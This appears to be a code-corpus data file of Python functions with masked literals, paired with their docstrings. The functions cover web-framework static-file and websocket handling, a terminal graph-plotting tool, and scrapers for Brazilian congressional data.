{"signature": "async def check_config(self) -> None:", "body": "if self.directory is None:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>stat_result = await aio_stat(self.directory)<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>raise RuntimeError(<EOL>f\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not (stat.S_ISDIR(stat_result.st_mode) or stat.S_ISLNK(stat_result.st_mode)):<EOL><INDENT>raise RuntimeError(<EOL>f\"<STR_LIT>\"<EOL>)<EOL><DEDENT>", "docstring": "Perform a one-off configuration check that StaticFiles is actually\npointed at a directory, so that we can raise loud errors rather than\njust returning 404 responses.", "id": "f3863:c1:m7"}
{"signature": "def is_not_modified(<EOL>self, response_headers: Headers, request_headers: Headers<EOL>) -> bool:", "body": "try:<EOL><INDENT>if_none_match = request_headers[\"<STR_LIT>\"]<EOL>etag = response_headers[\"<STR_LIT>\"]<EOL>if if_none_match == etag:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if_modified_since = parsedate(request_headers[\"<STR_LIT>\"])<EOL>last_modified = parsedate(response_headers[\"<STR_LIT>\"])<EOL>if (<EOL>if_modified_since is not None<EOL>and last_modified is not None<EOL>and if_modified_since >= last_modified<EOL>):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return False<EOL>", "docstring": "Given the request and response headers, return `True` if an HTTP\n\"Not Modified\" response could be returned instead.", "id": "f3863:c1:m8"}
{"signature": "def _run(self) -> None:", "body": "scope = self.scope<EOL>receive = self._asgi_receive<EOL>send = self._asgi_send<EOL>try:<EOL><INDENT>self._loop.run_until_complete(self.app(scope, receive, send))<EOL><DEDENT>except BaseException as exc:<EOL><INDENT>self._send_queue.put(exc)<EOL><DEDENT>", "docstring": "The sub-thread in which the websocket session runs.", "id": "f3871:c5:m3"}
{"signature": "async def receive(self) -> Message:", "body": "if self.client_state == WebSocketState.CONNECTING:<EOL><INDENT>message = await self._receive()<EOL>message_type = message[\"<STR_LIT:type>\"]<EOL>assert message_type == \"<STR_LIT>\"<EOL>self.client_state = WebSocketState.CONNECTED<EOL>return message<EOL><DEDENT>elif self.client_state == WebSocketState.CONNECTED:<EOL><INDENT>message = await self._receive()<EOL>message_type = message[\"<STR_LIT:type>\"]<EOL>assert message_type in {\"<STR_LIT>\", \"<STR_LIT>\"}<EOL>if message_type == \"<STR_LIT>\":<EOL><INDENT>self.client_state = WebSocketState.DISCONNECTED<EOL><DEDENT>return message<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>", "docstring": "Receive ASGI websocket messages, ensuring valid state transitions.", "id": "f3872:c2:m1"}
{"signature": "async def send(self, message: Message) -> None:", "body": "if self.application_state == WebSocketState.CONNECTING:<EOL><INDENT>message_type = message[\"<STR_LIT:type>\"]<EOL>assert message_type in {\"<STR_LIT>\", \"<STR_LIT>\"}<EOL>if message_type == \"<STR_LIT>\":<EOL><INDENT>self.application_state = WebSocketState.DISCONNECTED<EOL><DEDENT>else:<EOL><INDENT>self.application_state = WebSocketState.CONNECTED<EOL><DEDENT>await self._send(message)<EOL><DEDENT>elif self.application_state == WebSocketState.CONNECTED:<EOL><INDENT>message_type = message[\"<STR_LIT:type>\"]<EOL>assert message_type in {\"<STR_LIT>\", \"<STR_LIT>\"}<EOL>if message_type == \"<STR_LIT>\":<EOL><INDENT>self.application_state = WebSocketState.DISCONNECTED<EOL><DEDENT>await self._send(message)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Send ASGI websocket messages, ensuring valid state transitions.", "id": "f3872:c2:m2"}
{"signature": "def filter_symlog(y, base=<NUM_LIT>):", "body": "log_base = np.log(base)<EOL>sign = np.sign(y)<EOL>logs = np.log(np.abs(y) / log_base)<EOL>return sign * logs<EOL>", "docstring": "Symmetrical logarithmic scale.\n\n    Optional arguments:\n\n    *base*:\n        The base of the logarithm.", "id": "f3874:m0"}
{"signature": "def filter_savitzky_golay(y, window_size=<NUM_LIT:5>, order=<NUM_LIT:2>, deriv=<NUM_LIT:0>, rate=<NUM_LIT:1>):", "body": "try:<EOL><INDENT>window_size = np.abs(np.int(window_size))<EOL>order = np.abs(np.int(order))<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if window_size % <NUM_LIT:2> != <NUM_LIT:1> or window_size < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if window_size < order + <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>order_range = range(order + <NUM_LIT:1>)<EOL>half_window = (window_size - <NUM_LIT:1>) // <NUM_LIT:2><EOL>minimum = np.min(y)<EOL>maximum = np.max(y)<EOL>b = np.mat([<EOL>[k ** i for i in order_range]<EOL>for k in range(-half_window, half_window + <NUM_LIT:1>)<EOL>])<EOL>m = np.linalg.pinv(b).A[deriv] * rate ** deriv * math.factorial(deriv)<EOL>firstvals = y[<NUM_LIT:0>] - np.abs(y[<NUM_LIT:1>:half_window+<NUM_LIT:1>][::-<NUM_LIT:1>] - y[<NUM_LIT:0>])<EOL>lastvals = y[-<NUM_LIT:1>] + np.abs(y[-half_window-<NUM_LIT:1>:-<NUM_LIT:1>][::-<NUM_LIT:1>] - y[-<NUM_LIT:1>])<EOL>y = np.concatenate((firstvals, y, lastvals))<EOL>return np.clip(<EOL>np.convolve(m[::-<NUM_LIT:1>], y, mode='<STR_LIT>'),<EOL>minimum,<EOL>maximum,<EOL>)<EOL>", "docstring": "Smooth (and optionally differentiate) with a Savitzky-Golay filter.", "id": "f3874:m1"}
{"signature": "def usage_function(parser):", "body": "parser.print_usage()<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>for function in sorted(FUNCTION):<EOL><INDENT>doc = FUNCTION[function].__doc__.strip().splitlines()[<NUM_LIT:0>]<EOL>print('<STR_LIT>' % (function + '<STR_LIT::>', doc))<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Show usage and available curve functions.", "id": "f3874:m2"}
{"signature": "def usage_palette(parser):", "body": "parser.print_usage()<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>for palette in sorted(PALETTE):<EOL><INDENT>print('<STR_LIT>' % (palette,))<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Show usage and available palettes.", "id": "f3874:m3"}
{"signature": "def run():", "body": "import argparse<EOL>parser = argparse.ArgumentParser(<EOL>description=(<EOL>'<STR_LIT>'<EOL>),<EOL>epilog=", "docstring": "Main entrypoint if invoked via the command line.", "id": "f3874:m4"}
{"signature": "def __init__(self):", "body": "curses.setupterm()<EOL>", "docstring": "Initialize curses.", "id": "f3874:c0:m0"}
{"signature": "@property<EOL><INDENT>def colors(self):<DEDENT>", "body": "number = curses.tigetnum('<STR_LIT>') or <NUM_LIT:0><EOL>return <NUM_LIT:16> if number == <NUM_LIT:8> else number<EOL>", "docstring": "Get the number of colors supported by this terminal.", "id": "f3874:c0:m1"}
{"signature": "@property<EOL><INDENT>def encoding(self):<DEDENT>", "body": "_, encoding = locale.getdefaultlocale()<EOL>return encoding<EOL>", "docstring": "Get the current terminal encoding.", "id": "f3874:c0:m2"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.size[<NUM_LIT:1>]<EOL>", "docstring": "Get the current terminal height.", "id": "f3874:c0:m3"}
{"signature": "@property<EOL><INDENT>def size(self):<DEDENT>", "body": "for fd in range(<NUM_LIT:3>):<EOL><INDENT>cr = self._ioctl_GWINSZ(fd)<EOL>if cr:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not cr:<EOL><INDENT>try:<EOL><INDENT>fd = os.open(os.ctermid(), os.O_RDONLY)<EOL>cr = self._ioctl_GWINSZ(fd)<EOL>os.close(fd)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if not cr:<EOL><INDENT>env = os.environ<EOL>cr = (env.get('<STR_LIT>', <NUM_LIT>), env.get('<STR_LIT>', <NUM_LIT>))<EOL><DEDENT>return int(cr[<NUM_LIT:1>]), int(cr[<NUM_LIT:0>])<EOL>", "docstring": "Get the current terminal size.", "id": "f3874:c0:m4"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self.size[<NUM_LIT:0>]<EOL>", "docstring": "Get the current terminal width.", "id": "f3874:c0:m5"}
{"signature": "def _ioctl_GWINSZ(self, fd):", "body": "try:<EOL><INDENT>import fcntl<EOL>import termios<EOL>import struct<EOL>return struct.unpack(<EOL>'<STR_LIT>',<EOL>fcntl.ioctl(fd, termios.TIOCGWINSZ, '<STR_LIT>')<EOL>)<EOL><DEDENT>except Exception:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get terminal size using ``TIOCGWINSZ``.\n\n        Internal function that will try to request the ``TIOCGWINSZ`` against\n        the selected file descriptor ``fd``.", "id": "f3874:c0:m6"}
{"signature": "def color(self, index):", "body": "if self.colors == <NUM_LIT:16>:<EOL><INDENT>if index >= <NUM_LIT:8>:<EOL><INDENT>return self.csi('<STR_LIT>') + self.csi('<STR_LIT>', index - <NUM_LIT:8>)<EOL><DEDENT>else:<EOL><INDENT>return self.csi('<STR_LIT>') + self.csi('<STR_LIT>', index)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return self.csi('<STR_LIT>', index)<EOL><DEDENT>", "docstring": "Get the escape sequence for indexed color ``index``.\n\n        The ``index`` is a color index in the 256 color space. The color space\n        consists of:\n\n        * 0x00-0x0f: default EGA colors\n        * 0x10-0xe7: 6x6x6 RGB cubes\n        * 0xe8-0xff: gray scale ramp", "id": "f3874:c0:m7"}
{"signature": "def csi(self, capname, *args):", "body": "value = curses.tigetstr(capname)<EOL>if value is None:<EOL><INDENT>return b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return curses.tparm(value, *args)<EOL><DEDENT>", "docstring": "Return the escape sequence for the selected Control Sequence.", "id": "f3874:c0:m8"}
{"signature": "def csi_wrap(self, value, capname, *args):", "body": "if isinstance(value, str):<EOL><INDENT>value = value.encode('<STR_LIT:utf-8>')<EOL><DEDENT>return b'<STR_LIT>'.join([<EOL>self.csi(capname, *args),<EOL>value,<EOL>self.csi('<STR_LIT>'),<EOL>])<EOL>", "docstring": "Return a value wrapped in the selected CSI and does a reset.", "id": "f3874:c0:m9"}
{"signature": "def __init__(self, coordinates):", "body": "self.x = coordinates[<NUM_LIT:0>]<EOL>self.y = coordinates[<NUM_LIT:1>]<EOL>", "docstring": "Point with ``(x, y)`` coordinates.", "id": "f3874:c1:m0"}
{"signature": "def copy(self):", "body": "return Point((self.x, self.y))<EOL>", "docstring": "Return a fresh copy of the current point.", "id": "f3874:c1:m2"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self.size.x<EOL>", "docstring": "Get the buffer width.", "id": "f3874:c2:m1"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.size.y<EOL>", "docstring": "Get the buffer height.", "id": "f3874:c2:m2"}
{"signature": "def __contains__(self, point):", "body": "if not isinstance(point, Point):<EOL><INDENT>point = Point(point)<EOL><DEDENT>if point.y not in self.canvas:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return point.x in self.canvas[point.y]<EOL><DEDENT>", "docstring": "Check if a point has a value.", "id": "f3874:c2:m3"}
{"signature": "def __setitem__(self, point, value):", "body": "if not isinstance(point, Point):<EOL><INDENT>point = Point(point)<EOL><DEDENT>if point.y > self.size.y:<EOL><INDENT>if self.extend_y:<EOL><INDENT>self.size.y = point.y<EOL><DEDENT>else:<EOL><INDENT>raise OverflowError('<STR_LIT>' % (<EOL>self,<EOL>point.y,<EOL>self.size.y,<EOL>))<EOL><DEDENT><DEDENT>if point.x > self.size.x:<EOL><INDENT>if self.extend_x:<EOL><INDENT>self.size.x = point.x<EOL><DEDENT>else:<EOL><INDENT>raise OverflowError('<STR_LIT>' % (<EOL>self,<EOL>point.x,<EOL>self.size.x,<EOL>))<EOL><DEDENT><DEDENT>self.canvas[point.y][point.x] = value<EOL>", "docstring": "Set a point value.", "id": "f3874:c2:m5"}
{"signature": "def __getitem__(self, point):", "body": "if not isinstance(point, Point):<EOL><INDENT>point = Point(point)<EOL><DEDENT>return self.canvas[point.y][point.x]<EOL>", "docstring": "Get a point value or None.", "id": "f3874:c2:m6"}
{"signature": "def consume(self, istream, ostream, batch=False):", "body": "datapoints = []  <EOL>if batch:<EOL><INDENT>sleep = max(<NUM_LIT>, self.option.sleep)<EOL>fd = istream.fileno()<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>if select.select([fd], [], [], sleep):<EOL><INDENT>try:<EOL><INDENT>line = istream.readline()<EOL>if line == '<STR_LIT>':<EOL><INDENT>break<EOL><DEDENT>datapoints.append(self.consume_line(line))<EOL><DEDENT>except ValueError:<EOL><INDENT>continue<EOL><DEDENT>if self.option.sort_by_column:<EOL><INDENT>datapoints = sorted(datapoints, key=itemgetter(self.option.sort_by_column - <NUM_LIT:1>))<EOL><DEDENT>if len(datapoints) > <NUM_LIT:1>:<EOL><INDENT>datapoints = datapoints[-self.maximum_points:]<EOL>self.update([dp[<NUM_LIT:0>] for dp in datapoints], [dp[<NUM_LIT:1>] for dp in datapoints])<EOL>self.render(ostream)<EOL><DEDENT>time.sleep(sleep)<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for line in istream:<EOL><INDENT>try:<EOL><INDENT>datapoints.append(self.consume_line(line))<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if self.option.sort_by_column:<EOL><INDENT>datapoints = sorted(datapoints, key=itemgetter(self.option.sort_by_column - <NUM_LIT:1>))<EOL><DEDENT>self.update([dp[<NUM_LIT:0>] for dp in datapoints], [dp[<NUM_LIT:1>] for dp in datapoints])<EOL>self.render(ostream)<EOL><DEDENT>", "docstring": "Read points from istream and output to ostream.", "id": "f3874:c3:m1"}
{"signature": "def consume_line(self, line):", "body": "data = RE_VALUE_KEY.split(line.strip(), <NUM_LIT:1>)<EOL>if len(data) == <NUM_LIT:1>:<EOL><INDENT>return float(data[<NUM_LIT:0>]), None<EOL><DEDENT>else:<EOL><INDENT>return float(data[<NUM_LIT:0>]), data[<NUM_LIT:1>].strip()<EOL><DEDENT>", "docstring": "Consume data from a line.", "id": "f3874:c3:m2"}
{"signature": "@property<EOL><INDENT>def scale(self):<DEDENT>", "body": "return <NUM_LIT:1><EOL>", "docstring": "Graph scale.", "id": "f3874:c3:m3"}
{"signature": "def update(self, points, values=None):", "body": "self.values = values or [None] * len(points)<EOL>if np is None:<EOL><INDENT>if self.option.function:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL><DEDENT>self.points = points<EOL>self.minimum = min(self.points)<EOL>self.maximum = max(self.points)<EOL>self.current = self.points[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>self.points = self.apply_function(points)<EOL>self.minimum = np.min(self.points)<EOL>self.maximum = np.max(self.points)<EOL>self.current = self.points[-<NUM_LIT:1>]<EOL><DEDENT>if self.maximum == self.minimum:<EOL><INDENT>self.extents = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self.extents = (self.maximum - self.minimum)<EOL>self.extents = (self.maximum - self.minimum)<EOL><DEDENT>", "docstring": "Add a set of data points.", "id": "f3874:c3:m4"}
{"signature": "def color_ramp(self, size):", "body": "color = PALETTE.get(self.option.palette, {})<EOL>color = color.get(self.term.colors, None)<EOL>color_ramp = []<EOL>if color is not None:<EOL><INDENT>ratio = len(color) / float(size)<EOL>for i in range(int(size)):<EOL><INDENT>color_ramp.append(self.term.color(color[int(ratio * i)]))<EOL><DEDENT><DEDENT>return color_ramp<EOL>", "docstring": "Generate a color ramp for the current screen height.", "id": "f3874:c3:m5"}
{"signature": "def human(self, size, base=<NUM_LIT:1000>, units='<STR_LIT>'):", "body": "sign = '<STR_LIT:+>' if size >= <NUM_LIT:0> else '<STR_LIT:->'<EOL>size = abs(size)<EOL>if size < <NUM_LIT:1000>:<EOL><INDENT>return '<STR_LIT>' % (sign, size)<EOL><DEDENT>for i, suffix in enumerate(units):<EOL><INDENT>unit = <NUM_LIT:1000> ** (i + <NUM_LIT:1>)<EOL>if size < unit:<EOL><INDENT>return ('<STR_LIT>' % (<EOL>sign,<EOL>size / float(unit) * base,<EOL>suffix,<EOL>)).strip()<EOL><DEDENT><DEDENT>raise OverflowError<EOL>", "docstring": "Convert the input ``size`` to human readable, short form.", "id": "f3874:c3:m6"}
{"signature": "def apply_function(self, points):", "body": "if not self.option.function:<EOL><INDENT>return points<EOL><DEDENT>if np is None:<EOL><INDENT>raise ImportError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT::>' in self.option.function:<EOL><INDENT>function, arguments = self.option.function.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>arguments = arguments.split('<STR_LIT:U+002C>')<EOL><DEDENT>else:<EOL><INDENT>function = self.option.function<EOL>arguments = []<EOL><DEDENT>arguments = list(map(self._function_argument, arguments))<EOL>filter_function = FUNCTION.get(function)<EOL>if filter_function is None:<EOL><INDENT>raise TypeError('<STR_LIT>' % (function,))<EOL><DEDENT>else:<EOL><INDENT>return filter_function(np.array(list(points)), *arguments)<EOL><DEDENT>", "docstring": "Run the filter function on the provided points.", "id": "f3874:c3:m7"}
{"signature": "def _function_argument(self, value):", "body": "if value in FUNCTION_CONSTANT:<EOL><INDENT>return FUNCTION_CONSTANT[value]<EOL><DEDENT>else:<EOL><INDENT>return float(value)<EOL><DEDENT>", "docstring": "Resolve function, convert to float if not found.", "id": "f3874:c3:m8"}
{"signature": "def line(self, p1, p2, resolution=<NUM_LIT:1>):", "body": "xdiff = max(p1.x, p2.x) - min(p1.x, p2.x)<EOL>ydiff = max(p1.y, p2.y) - min(p1.y, p2.y)<EOL>xdir = [-<NUM_LIT:1>, <NUM_LIT:1>][int(p1.x <= p2.x)]<EOL>ydir = [-<NUM_LIT:1>, <NUM_LIT:1>][int(p1.y <= p2.y)]<EOL>r = int(round(max(xdiff, ydiff)))<EOL>if r == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>for i in range((r + <NUM_LIT:1>) * resolution):<EOL><INDENT>x = p1.x<EOL>y = p1.y<EOL>if xdiff:<EOL><INDENT>x += (float(i) * xdiff) / r * xdir / resolution<EOL><DEDENT>if ydiff:<EOL><INDENT>y += (float(i) * ydiff) / r * ydir / resolution<EOL><DEDENT>yield Point((x, y))<EOL><DEDENT>", "docstring": "Resolve the points to make a line between two points.", "id": "f3874:c3:m9"}
{"signature": "@property<EOL><INDENT>def maximum_points(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Override in subclass.", "id": "f3874:c3:m10"}
{"signature": "def render(self, stream):", "body": "raise NotImplementedError()<EOL>", "docstring": "Render the graph to the selected output stream.", "id": "f3874:c3:m11"}
{"signature": "def round(self, value):", "body": "return int(value)<EOL>", "docstring": "Get an integer value for the input value.", "id": "f3874:c3:m12"}
{"signature": "def set_text(self, point, text):", "body": "if not self.option.legend:<EOL><INDENT>return<EOL><DEDENT>if not isinstance(point, Point):<EOL><INDENT>point = Point(point)<EOL><DEDENT>for offset, char in enumerate(str(text)):<EOL><INDENT>self.screen.canvas[point.y][point.x + offset] = char<EOL><DEDENT>", "docstring": "Set a text value in the screen canvas.", "id": "f3874:c3:m13"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self.size.x * <NUM_LIT:2><EOL>", "docstring": "Buffer width.", "id": "f3874:c4:m0"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.size.y * <NUM_LIT:4><EOL>", "docstring": "Buffer height.", "id": "f3874:c4:m1"}
{"signature": "def render(self, stream):", "body": "encoding = self.option.encoding or self.term.encoding or \"<STR_LIT:utf8>\"<EOL>if self.option.color:<EOL><INDENT>ramp = self.color_ramp(self.size.y)[::-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>ramp = None<EOL><DEDENT>if self.cycle >= <NUM_LIT:1> and self.lines:<EOL><INDENT>stream.write(self.term.csi('<STR_LIT>', self.lines))<EOL><DEDENT>zero = int(self.null / <NUM_LIT:4>)  <EOL>lines = <NUM_LIT:0><EOL>for y in range(self.screen.size.y):<EOL><INDENT>if y == zero and self.size.y > <NUM_LIT:1>:<EOL><INDENT>stream.write(self.term.csi('<STR_LIT>'))<EOL><DEDENT>if ramp:<EOL><INDENT>stream.write(ramp[y])<EOL><DEDENT>for x in range(self.screen.size.x):<EOL><INDENT>point = Point((x, y))<EOL>if point in self.screen:<EOL><INDENT>value = self.screen[point]<EOL>if isinstance(value, int):<EOL><INDENT>stream.write(chr(self.base + value).encode(encoding))<EOL><DEDENT>else:<EOL><INDENT>stream.write(self.term.csi('<STR_LIT>'))<EOL>stream.write(self.term.csi_wrap(<EOL>value.encode(encoding),<EOL>'<STR_LIT>'<EOL>))<EOL>if y == zero and self.size.y > <NUM_LIT:1>:<EOL><INDENT>stream.write(self.term.csi('<STR_LIT>'))<EOL><DEDENT>if ramp:<EOL><INDENT>stream.write(ramp[y])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>stream.write(b'<STR_LIT:U+0020>')<EOL><DEDENT><DEDENT>if y == zero and self.size.y > <NUM_LIT:1>:<EOL><INDENT>stream.write(self.term.csi('<STR_LIT>'))<EOL><DEDENT>if ramp:<EOL><INDENT>stream.write(self.term.csi('<STR_LIT>'))<EOL><DEDENT>stream.write(b'<STR_LIT:\\n>')<EOL>lines += <NUM_LIT:1><EOL><DEDENT>stream.flush()<EOL>self.cycle = self.cycle + <NUM_LIT:1><EOL>self.lines = lines<EOL>", "docstring": "Render graph to stream.", "id": "f3874:c5:m1"}
{"signature": "@property<EOL><INDENT>def normalised(self):<DEDENT>", "body": "if np is None:<EOL><INDENT>return self._normalised_python()<EOL><DEDENT>else:<EOL><INDENT>return self._normalised_numpy()<EOL><DEDENT>", "docstring": "Normalised data points.", "id": "f3874:c5:m2"}
{"signature": "def _normalised_numpy(self):", "body": "dx = (self.screen.width / float(len(self.points)))<EOL>oy = (self.screen.height)<EOL>points = np.array(self.points) - self.minimum<EOL>points = points * <NUM_LIT> / self.extents * self.size.y<EOL>for x, y in enumerate(points):<EOL><INDENT>yield Point((<EOL>dx * x,<EOL>min(oy, oy - y),<EOL>))<EOL><DEDENT>", "docstring": "Normalised data points using numpy.", "id": "f3874:c5:m3"}
{"signature": "def _normalised_python(self):", "body": "dx = (self.screen.width / float(len(self.points)))<EOL>oy = (self.screen.height)<EOL>for x, point in enumerate(self.points):<EOL><INDENT>y = (point - self.minimum) * <NUM_LIT> / self.extents * self.size.y<EOL>yield Point((<EOL>dx * x,<EOL>min(oy, oy - y),<EOL>))<EOL><DEDENT>", "docstring": "Normalised data points using pure Python.", "id": "f3874:c5:m4"}
{"signature": "@property<EOL><INDENT>def maximum_points(self):<DEDENT>", "body": "return self.size.x<EOL>", "docstring": "Maximum width.", "id": "f3874:c5:m5"}
{"signature": "@property<EOL><INDENT>def null(self):<DEDENT>", "body": "if not self.option.axis:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return self.screen.height - (<EOL>-self.minimum * <NUM_LIT> / self.extents * self.size.y<EOL>)<EOL><DEDENT>", "docstring": "Zero crossing value.", "id": "f3874:c5:m6"}
{"signature": "def set(self, point):", "body": "if not isinstance(point, Point):<EOL><INDENT>point = Point(point)<EOL><DEDENT>rx = self.round(point.x)<EOL>ry = self.round(point.y)<EOL>item = Point((rx >> <NUM_LIT:1>, min(ry >> <NUM_LIT:2>, self.size.y)))<EOL>self.screen[item] |= self.pixels[ry & <NUM_LIT:3>][rx & <NUM_LIT:1>]<EOL>", "docstring": "Set pixel at (x, y) point.", "id": "f3874:c5:m7"}
{"signature": "def unset(self, point):", "body": "if not isinstance(point, Point):<EOL><INDENT>point = Point(point)<EOL><DEDENT>x, y = self.round(point.x) >> <NUM_LIT:1>, self.round(point.y) >> <NUM_LIT:2><EOL>if (x, y) not in self.screen:<EOL><INDENT>return<EOL><DEDENT>if isinstance(self.screen[y][x], int):<EOL><INDENT>self.screen[(x, y)] &= ~self.pixels[y & <NUM_LIT:3>][x & <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>del self.screen[(x, y)]<EOL><DEDENT>if not self.screen.canvas.get(y):<EOL><INDENT>del self.screen[y]<EOL><DEDENT>", "docstring": "Unset pixel at (x, y) point.", "id": "f3874:c5:m8"}
{"signature": "def __init__(self, dg_option=None, ostream=None, data=None):", "body": "<EOL>self.dg_option = dg_option<EOL>if self.dg_option == None:<EOL><INDENT>self.dg_option = DOption()<EOL><DEDENT>self.ostream = ostream<EOL>if self.ostream == None:<EOL><INDENT>try:<EOL><INDENT>self.ostream = sys.stdout.buffer<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.ostream = sys.stdout<EOL><DEDENT><DEDENT>if self.dg_option.mode == '<STR_LIT:h>':<EOL><INDENT>self.dg = HorizontalBarGraph(self.dg_option.size,<EOL>self.dg_option)<EOL><DEDENT>elif self.dg_option.mode == '<STR_LIT:v>':<EOL><INDENT>self.dg = VerticalBarGraph(self.dg_option.size,<EOL>self.dg_option)<EOL><DEDENT>else:<EOL><INDENT>self.dg = AxisGraph(self.dg_option.size,<EOL>self.dg_option)<EOL><DEDENT>self.dg.update(data[<NUM_LIT:0>], data[<NUM_LIT:1>])<EOL>", "docstring": "Handle some of the setup functions for the graph in the\n        diagram package. Specifically hide all of the requirements that\n        are computed in run() inside diagram.py.", "id": "f3874:c10:m0"}
{"signature": "def show(self):", "body": "self.dg.render(self.ostream)<EOL>", "docstring": "Actually show the graph on screen.", "id": "f3874:c10:m1"}
{"signature": "def fetch_deputies(data_dir):", "body": "deputies = DeputiesDataset()<EOL>df = deputies.fetch()<EOL>save_to_csv(df, data_dir, \"<STR_LIT>\")<EOL>holders = df.condition == '<STR_LIT>'<EOL>substitutes = df.condition == '<STR_LIT>'<EOL>log.info(\"<STR_LIT>\", len(df))<EOL>log.info(\"<STR_LIT>\", len(df[holders]))<EOL>log.info(\"<STR_LIT>\", len(df[substitutes]))<EOL>return df<EOL>", "docstring": ":param data_dir: (str) directory in which the output file will be saved", "id": "f3892:m0"}
{"signature": "def fetch(self):", "body": "xml = urllib.request.urlopen(self.URL)<EOL>tree = ET.ElementTree(file=xml)<EOL>records = self._parse_deputies(tree.getroot())<EOL>df = pd.DataFrame(records, columns=(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:state>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:email>'<EOL>))<EOL>return self._translate(df)<EOL>", "docstring": "Fetches the list of deputies for the current term.", "id": "f3892:c0:m0"}
{"signature": "def fetch_speeches(data_dir, range_start, range_end):", "body": "speeches = SpeechesDataset()<EOL>df = speeches.fetch(range_start, range_end)<EOL>save_to_csv(df, data_dir, \"<STR_LIT>\")<EOL>return df<EOL>", "docstring": ":param data_dir: (str) directory in which the output file will be saved\n:param range_start: (str) date in the format dd/mm/yyyy\n:param range_end: (str) date in the format dd/mm/yyyy", "id": "f3893:m0"}
{"signature": "def fetch(self, range_start, range_end):", "body": "range_dates = {'<STR_LIT>': range_start, '<STR_LIT>': range_end}<EOL>url = self.URL.format(**range_dates)<EOL>xml = urllib.request.urlopen(url)<EOL>tree = ET.ElementTree(file=xml)<EOL>records = self._parse_speeches(tree.getroot())<EOL>return pd.DataFrame(records, columns=[<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>])<EOL>", "docstring": "Fetches speeches from the ListarDiscursosPlenario endpoint of the\nSessoesReunioes (SessionsReunions) API.\n\nThe date range provided should be specified as a string using the\nformat supported by the API (%d/%m/%Y)", "id": "f3893:c0:m0"}
{"signature": "def fetch_session_start_times(data_dir, pivot, session_dates):", "body": "session_start_times = SessionStartTimesDataset()<EOL>df = session_start_times.fetch(pivot, session_dates)<EOL>save_to_csv(df, data_dir, \"<STR_LIT>\")<EOL>log.info(\"<STR_LIT>\", len(session_dates))<EOL>found = pd.to_datetime(df['<STR_LIT:date>'], format=\"<STR_LIT>\").dt.date.unique()<EOL>log.info(\"<STR_LIT>\", len(found))<EOL>return df<EOL>", "docstring": ":param data_dir: (str) directory in which the output file will be saved\n:param pivot: (int) congressperson document to use as a pivot for scraping the data\n:param session_dates: (list) datetime objects to fetch the start times for", "id": "f3894:m0"}
{"signature": "def fetch(self, pivot, session_dates):", "body": "records = self._all_start_times(pivot, session_dates)<EOL>return pd.DataFrame(records, columns=(<EOL>'<STR_LIT:date>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>))<EOL>", "docstring": ":param pivot: (int) a congressperson document to use as a pivot for scraping the data\n:param session_dates: (list) datetime objects to fetch the start times for", "id": "f3894:c0:m0"}
